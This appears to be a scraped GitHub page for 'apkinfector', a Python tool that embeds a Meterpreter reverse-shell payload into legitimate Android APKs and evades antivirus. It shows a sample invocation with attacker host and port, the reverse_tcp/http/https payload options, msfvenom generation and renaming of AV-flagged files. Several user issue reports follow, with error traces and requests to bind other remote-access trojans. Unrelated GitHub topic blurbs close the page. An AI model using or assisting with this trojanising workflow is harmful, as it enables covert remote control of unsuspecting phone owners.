pushpenderindia / apkinfector Goto Github PK
View Code? Open in Web Editor NEWAdvanced Android AV Evasion Tool Written In Python 3 that can Embed/Bind meterpreter APK to any Legitimate APK
Advanced Android AV Evasion Tool Written In Python 3 that can Embed/Bind meterpreter APK to any Legitimate APK
root@kali:~/Downloads/apkinfector# python3 infector.py --lhost 192.168.10.11 --lport 3322 --apk-name new_apk.apk --normal-apk /root/Desktop/lite.apk
╔─────────────────────────────────────────────────────────╗
| APK Infector - Advanced Android AV Evasion TOOL |
| Please do not upload APK to VirusTotal.com |
┖─────────────────────────────────────────────────────────┙
. .
M. .M
MMMMMMMMMMM.
.MMM\MMMMMMM/MMM.
.MMM.7MMMMMMM.7MMM.
.MMMMMMMMMMMMMMMMMMM
MMMMMMM.......MMMMMMM
MMMMMMMMMMMMMMMMMMMMM
MMMM MMMMMMMMMMMMMMMMMMMMM MMMM
dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD
dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD
dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD
dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD
dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD
MMM8 MMMMMMMMMMMMMMMMMMMMM 8MMM
MMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMM
MMMMM MMMMM APK Infector v1.0
MMMMM MMMMM Written In Python3
MMMMM MMMMM
MMMMM MMMMM
.MMM. .MMM.
╔──────────────────────────────────────────────────────────╗
| [ Author ] Pushpender Singh |
| [ GitHub ] https://github.com/Technowlogy-Pushpender |
| [ YouTube ] youtube.com/channel/UCRv-wp0CWtW2J33NkTId62w |
┖──────────────────────────────────────────────────────────┙
╔──────────────────────────────────────────────────────────╗
| DISCLAIMER : Illegal Use is Stricly Prohibited |
┖──────────────────────────────────────────────────────────┙
[*] Generating Random Variables which will be used in Ofustication
[+] Generated Successfully!
[*] Checking for Dependencies
================================
[:] NOTE : Jarsigner or APKsigner is used to Sign APK, One of them must be installed on your System
[*] Checking : APKTool
[+] APKTool - OK
[*] Checking : Jarsigner
[+] Jarsigner - OK
[*] Checking : APKsigner
[+] APKsigner - OK
[*] Checking : ZipAlign
[+] ZipAlign - OK
====================================
[*] Available Types of Payload
====================================
(1) android/meterpreter/reverse_tcp
(2) android/meterpreter/reverse_http
(3) android/meterpreter/reverse_https
[?] Which Type of Payload, You Want to Create (1/2/3): 1
[*] Creating Android Payload Using msfvenom
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 10187 bytes
[+] Payload Created Successfully !
[?] Want to Create msfconsole handler.rc file (y/n): y
[*] Creating handler.rc
[+] Created Successfully : /root/Downloads/apkinfector/handler.rc
[*] Decompiling Normal/Legitimate APK
=============================================
Destination directory (/root/Downloads/apkinfector/normal_apk) already exists. Use -f switch if you want to overwrite it.
[!] Failed to Decompile Normal/Legitimate APK
[*] Decompiling Android Payload
=============================================
I: Using Apktool 2.4.1 on android_payload.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
[!] Failed to Decompile Evil APK
[*] Changing default folder and filenames being flagged by AV
[+] Changed Successfully!
[*] Moving Meterpreter Payload to Normal/Legitimate APK
[+] Moved Successfully!
[*] Trying to Find .smali File of Launcher
[+] Finded .smali launcher : b''
Traceback (most recent call last):
File "infector.py", line 308, in <module>
hook_meterpreter_in_apk(VAR1, VAR2, VAR3)
File "infector.py", line 174, in hook_meterpreter_in_apk
launcherActivity = launcherActivity.replace('.', '/') # Ex:- Changing zl.com.river_iq.RiverIQ TO zl/com/river_iq/RiverIQ
TypeError: a bytes-like object is required, not 'str'
Hello,
i get this error when try to generate
python3 infector.py --lhost 192.168.56.10 --lport 4444 --apk-name infected.apk --normal-apk /home/kali/Downloads/normal.apk
[*] Compiling Infected APK
=================================
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.4.0-dirty
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
[Fatal Error] :81:7: The element type "receiver" must be terminated by the matching end-tag "</receiver>".
I: Checking whether resources has changed...
I: Building resources...
W: aapt: brut.common.BrutException: brut.common.BrutException: Could not extract resource: /prebuilt/linux/aapt_64 (defaulting to $PATH binary)
W: /home/kali/apkinfector/apkinfector/normal_apk/AndroidManifest.xml:81: error: Error parsing XML: mismatched tag
W:
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [aapt, p, --min-sdk-version, 16, --target-sdk-version, 28, --version-code, 37, --version-name, 1.6.0, --no-version-vectors, -F, /tmp/APKTOOL10436760007748380233.tmp, -0, arsc, -0, res/drawable-hdpi-v4/abc_ab_share_pack_mtrl_alpha.9.png, -0, png, -0, res/drawable-hdpi-v4/abc_btn_switch_to_on_mtrl_00001.9.png, -0, res/drawable-hdpi-v4/abc_btn_switch_to_on_mtrl_00012.9.png, -0, res/drawable-hdpi-v4/abc_cab_background_top_mtrl_alpha.9.png, -0, res/drawable-hdpi-v4/abc_list_divider_mtrl_alpha.9.png, -0, res/drawable-hdpi-v4/abc_list_focused_holo.9.png, -0, res/drawable-hdpi-v4/abc_list_longpressed_holo.9.png
i'm using Linux kali 5.4.0-kali4-amd64 #1 SMP Debian 5.4.19-1kali1 (2020-02-17) x86_64 GNU/Linux
i previously installed all dependencies: apktool zipalign apksigner
Anyone has this error ?
Hey,
im using Kali 2019.4, installed all dependencies, but i am getting some errors.
Tried diffrent JavaJDK (1.8, and the latest one), the errro occurs with Jarsigner and APKsigner
Legit APK is about 9-10MB
Any Tipps or Workarounds?
[*] Trying to Sign APK Using Jarsigner
jarsigner: unable to open jar file: /root/Desktop/apkinfector/injected.apk
[+] Signed the .apk file using ~/.android/debug.keystore
[*] ZipAligning Signed APK
==================================
Unable to open '/root/Desktop/apkinfector/injected.apk' as zip archive
mv: cannot stat '/root/Desktop/apkinfector/signed.apk': No such file or directory
[+] Output : /root/Desktop/apkinfector/Final_Infected.apk
[*] Trying to Sign APK Using APKsigner
Exception in thread "main" java.io.FileNotFoundException: /root/Desktop/apkinfector/injected.apk (No such file or directory)
at java.base/java.io.RandomAccessFile.open0(Native Method)
at java.base/java.io.RandomAccessFile.open(RandomAccessFile.java:345)
at java.base/java.io.RandomAccessFile.<init>(RandomAccessFile.java:259)
at java.base/java.io.RandomAccessFile.<init>(RandomAccessFile.java:214)
at com.android.apksig.ApkSigner.sign(ApkSigner.java:169)
at com.android.apksigner.ApkSignerTool.sign(ApkSignerTool.java:340)
at com.android.apksigner.ApkSignerTool.main(ApkSignerTool.java:83)
[+] Signed the .apk file using ~/.android/debug.keystore
[*] ZipAligning Signed APK
==================================
Unable to open '/root/Desktop/apkinfector/injected.apk' as zip archive
mv: cannot stat '/root/Desktop/apkinfector/signed.apk': No such file or directory
[+] Output : /root/Desktop/apkinfector/Final_Infected.apk
In my case the correct smali file of Launcher is located under /opt/apkinfector/normal_apk/smali_classes2/com/... not opt/apkinfector/normal_apk/smali/com/... unable to point to correct location due to script already populating opt/apkinfector/normal_apk/smali/...
can you help me, I try to run multi/handler on msfconsole and no reverse connection when i execute the apk file.
I tried all 3 different payload but no sessions came.
Not compiled all apks
=================================
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.5.0
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes2 folder into classes2.dex...
[Fatal Error] :92:7: The element type "activity" must be terminated by the matching end-tag "".
I: Checking whether resources has changed...
I: Building resources...
W: /root/apk/apkinfector/normal_apk/AndroidManifest.xml:92: error: Error parsing XML: mismatched tag
W:
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [/tmp/brut_util_Jar_54888281976866849234168220085976661136.tmp, p, --forced-package-id, 127, --min-sdk-version, 19, --target-sdk-version, 28, --version-code, 3502534, --version-name, 3.5.0, --no-version-vectors, -F, /tmp/APKTOOL8122138108858656538.tmp, -e, /tmp/APKTOOL13813281509833067336.tmp, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /root/apk/apkinfector/normal_apk/res, -M, /root/apk/apkinfector/normal_apk/AndroidManifest.xml]
[+] Compiled Successfully!
[*] Changing default folder and filenames being flagged by AV
[+] Changed Successfully!
[*] Moving Meterpreter Payload to Normal/Legitimate APK
[+] Moved Successfully!
[*] Trying to Find .smali File of Launcher
Traceback (most recent call last):
File "/root/apkinfector/infector.py", line 322, in
hook_meterpreter_in_apk(VAR1, VAR2, VAR3)
File "/root/apkinfector/infector.py", line 167, in hook_meterpreter_in_apk
lineNumber = int(lineNumber.decode().split('\n')[0]) - 1
ValueError: invalid literal for int() with base 10: ''
Do you have any idea?
can it bind 2 different Apk together? not msf payload? Like bind a Sptnote payload or Ahmyth payload with a normal APK file?
can not locate the .smali launcher in AndroidManifest.xml
sudo python3 infector.py --lhost 192.168.1.24 --lport 4444 -n 'com.imangi.templerun_1.6.1-12_minAPI9(armeabi-v7a)(nodpi).apk' --apk-name Dique.apk
╔─────────────────────────────────────────────────────────╗
| APK Infector - Advanced Android AV Evasion TOOL |
| Please do not upload APK to VirusTotal.com |
┖─────────────────────────────────────────────────────────┙
. .
M. .M
MMMMMMMMMMM.
.MMM\MMMMMMM/MMM.
.MMM.7MMMMMMM.7MMM.
.MMMMMMMMMMMMMMMMMMM
MMMMMMM.......MMMMMMM
MMMMMMMMMMMMMMMMMMMMM
MMMM MMMMMMMMMMMMMMMMMMMMM MMMM
dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD
dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD
dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD
dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD
dMMMM.MMMMMMMMMMMMMMMMMMMMM.MMMMD
MMM8 MMMMMMMMMMMMMMMMMMMMM 8MMM
MMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMM
MMMMM MMMMM APK Infector v1.0
MMMMM MMMMM Written In Python3
MMMMM MMMMM
MMMMM MMMMM
.MMM. .MMM.
╔──────────────────────────────────────────────────────────╗
| [ Author ] Pushpender Singh |
| [ GitHub ] https://github.com/PushpenderIndia |
| [ YouTube ] youtube.com/channel/UCRv-wp0CWtW2J33NkTId62w |
┖──────────────────────────────────────────────────────────┙
╔──────────────────────────────────────────────────────────╗
| DISCLAIMER : Illegal Use is Stricly Prohibited |
┖──────────────────────────────────────────────────────────┙
[*] Generating Random Variables which will be used in Ofustication
[+] Generated Successfully!
[:] NOTE : Jarsigner or APKsigner is used to Sign APK, One of them must be installed on your System
[*] Checking : APKTool
[+] APKTool - OK
[*] Checking : Jarsigner
[+] Jarsigner - OK
[*] Checking : APKsigner
[+] APKsigner - OK
[*] Checking : ZipAlign
[+] ZipAlign - OK
====================================
[*] Available Types of Payload
====================================
(1) android/meterpreter/reverse_tcp
(2) android/meterpreter/reverse_http
(3) android/meterpreter/reverse_https
[?] Which Type of Payload, You Want to Create (1/2/3): 1
[*] Creating Android Payload Using msfvenom
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10185 bytes
[+] Payload Created Successfully !
[?] Want to Create msfconsole handler.rc file (y/n): n
sh: 1: Syntax error: "(" unexpected
[!] Failed to Decompile Normal/Legitimate APK
I: Using Apktool 2.6.0 on android_payload.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values / XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
[!] Failed to Decompile Evil APK
[*] Changing default folder and filenames being flagged by AV
[+] Changed Successfully!
[*] Moving Meterpreter Payload to Normal/Legitimate APK
mv: cannot move '/opt/apkinfector/android_payload/smali/com/bmwnqptqpe' to '/opt/apkinfector/normal_apk/smali/com/': No such file or directory
[!] Failed to Move Evil Files to Normal/Legitimate APK
[*] Trying to Find .smali File of Launcher
grep: /opt/apkinfector/normal_apk/AndroidManifest.xml: No such file or directory
Traceback (most recent call last):
File "/opt/apkinfector/infector.py", line 322, in
hook_meterpreter_in_apk(VAR1, VAR2, VAR3)
File "/opt/apkinfector/infector.py", line 167, in hook_meterpreter_in_apk
lineNumber = int(lineNumber.decode().split('\n')[0]) - 1
ValueError: invalid literal for int() with base 10: '
[*] Trying to Find .smali File of Launcher
Traceback (most recent call last):
File "infector.py", line 319, in
hook_meterpreter_in_apk(VAR1, VAR2, VAR3)
File "infector.py", line 177, in hook_meterpreter_in_apk
launcherActivity = str(launcherActivity).split(''')[1]
IndexError: list index out of range
Any idea ?
Good Job btw
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.